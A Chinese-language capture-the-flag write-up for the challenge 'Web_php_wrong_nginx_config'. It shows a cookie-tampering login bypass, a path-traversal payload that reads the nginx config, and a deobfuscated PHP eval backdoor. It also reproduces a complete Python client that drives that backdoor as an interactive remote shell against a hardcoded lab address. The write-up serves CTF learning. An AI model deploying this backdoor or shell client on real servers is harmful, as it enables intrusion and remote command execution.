攻防世界Web：Web_php_wrong_nginx_config

首先进来是一个登录页面：
通过御剑扫描，发现了robots.txt，打开发现两个php文件：
hint.php：
Hack.php是跳转到登录页面：
抓包看看Hack.php，发现了可疑的点Cookie：isLogin=0，不妨修改为1，进入控制中心：
发现url中file=index&ext=php，不妨测试一下../，发现这里过滤了../：
绕过../，根据hint.php可以知道配置文件的路径，那就构造payload：file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=，读取

server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

代码审计，关键词alias：用来指定请求资源的真实路径，访问web-img：
找到敏感文件：/var/www/hack.php.bak：
根据经验，这应该是一个PHP混淆，输出$f看看：
整理代码：

<?php
        $kh="42f4";
        $kf="e9ac";
        function x($t,$k){
            $c=strlen($k);
            $l=strlen($t);
            $o="";
            for($i=0;$i<$l;){
                for($j=0;($j<$c&&$i<$l);$j++,$i++){
                    $o.=$t{$i}^$k{$j};
                }
            }
            return $o;
        }
        $r=$_SERVER;
        $rr=@$r["HTTP_REFERER"];
        $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
        if($rr&&$ra){
            $u=parse_url($rr); 
            parse_str($u["query"],$q); 
            $q=array_values($q);        
           
            preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
            if($q&&$m){
                @session_start();
                $s=&$_SESSION;
                $ss="substr";
                $sl="strtolower";
                $i=$m[1][0].$m[1][1];  
                $h=$sl($ss(md5($i.$kh),0,3)); 
                $f=$sl($ss(md5($i.$kf),0,3)); 
                $p="";
                for($z=1;$z<count($m[1]);$z++)  
                    $p.=$q[$m[2][$z]];         
                if(strpos($p,$h)===0){        
                    $s[$i]="";        
                    $p=$ss($p,3);    
                }
                if(array_key_exists($i,$s)){         
                    $s[$i].=$p;
                    $e=strpos($s[$i],$f); 
                    if($e){    
                        $k=$kh.$kf; 
                        ob_start();
                        @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                        $o=ob_get_contents();
                        ob_end_clean();
                        $d=base64_encode(x(gzcompress($o),$k));
                        print("<$k>$d</$k>");
                        @session_destroy();
                    }
                }
            }
        }

到这我能想到的就差不多了，看了师傅们的脚本代码：

# encoding: utf-8
# 注意修改 url , keyh , keyf 等参数

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

# 用于生成完整的 Accept-Language
def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []    # 结果
    indexes = []    # 索引
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

# 生成随机填充字符串( 由所有 ASCII 字符组成 , 包括不可读的字符 )
def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

# 生成随机填充字符串( 由所有大小写字母组成 )
def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        # choice() 方法返回一个列表，元组或字符串的随机项
        # string.ascii_letters 会生成所有的字母
        result += choice(string.ascii_letters)
    return result

# 模拟 x() 函数 , 循环异或加密
def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result

# 开启 Debug 选项
def debugPrint(msg):
    if debugging:
        print msg

# 定义基本变量
debugging = False    # 默认关闭 Debug , 可用 True 开启
keyh = "42f7"    # $kh , 需要修改
keyf = "e9ac"    # $kf , 需要修改
xorKey = keyh + keyf    # $k
url = 'http://111.200.241.244:59477/hack.php'    # 指定 URL  , 需要修改
defaultLang = 'zh-CN'    #默认Language
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']    #Accept-Language 模板
proxies = None    # {'http':'http://127.0.0.1:8080'} # 代理 , 可用于 BurpSuite 等
sess = requests.Session()    # 创建一个 SESSION 对象

# 每次会话会产生一次随机的 Accept-Language
langTmp = choicePart(languages,3)    # 输出一个列表 , 包含模板中的三种 Accept-language
indexes = sorted(choicePart(range(1,10),3), reverse=True)    # 降序排序输出三个权重值 , 例如 [8,6,4]

acceptLang = [defaultLang]   # 先添加默认Language
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))    # 然后循环添加三种 Accept-Language , 并为其添加权重值
acceptLangStr = ','.join(acceptLang)    # 将多个 Accept-Language 用 " , " 拼接在一起
# acceptLangStr 即为要使用的 Accept-Language
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]    # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]    # $h
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))    # $f + 填充字符串
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# 交互式 Shell
cmd = "system('" + raw_input('shell > ') + "');"
while cmd != '':
    # 在写入 Payload 前填充一些无关数据
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))    # 生成无关数据并填充
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # 对 Payload 进行加密
    payload = zlib.compress(cmd)    # gzcompress 操作
    payload = loopXor(payload,xorKey)    # 循环异或运算 , PHP代码中的 x() 函数
    payload = base64.urlsafe_b64encode(payload)    # base64_encode 编码
    payload = md5head + payload    #    在开头补全$h

    #  对Payload进行修改
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    # 将 Payload 作为查询字符串编码拼接到 Referer 中
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # 发送 HTTP GET 请求
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # 接收响应数据包
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    # 如果没有收到响应数据包
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = "system('" + raw_input('shell > ') + "');"
        continue
    # 如果收到响应数据包 , 则对其进行处理
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')    # base64_decode 解码
    output = loopXor(output,xorKey)    # 循环异或运算
    output = zlib.decompress(output)   # gzuncompress 运算
    print output    # 输出响应信息
    cmd = "system('" + raw_input('shell > ') + "');"

运行就可以拿到flag

这题有点超出了我的能力范围，代码能力还需要不断提升！

总结：
PHP混淆
后门脚本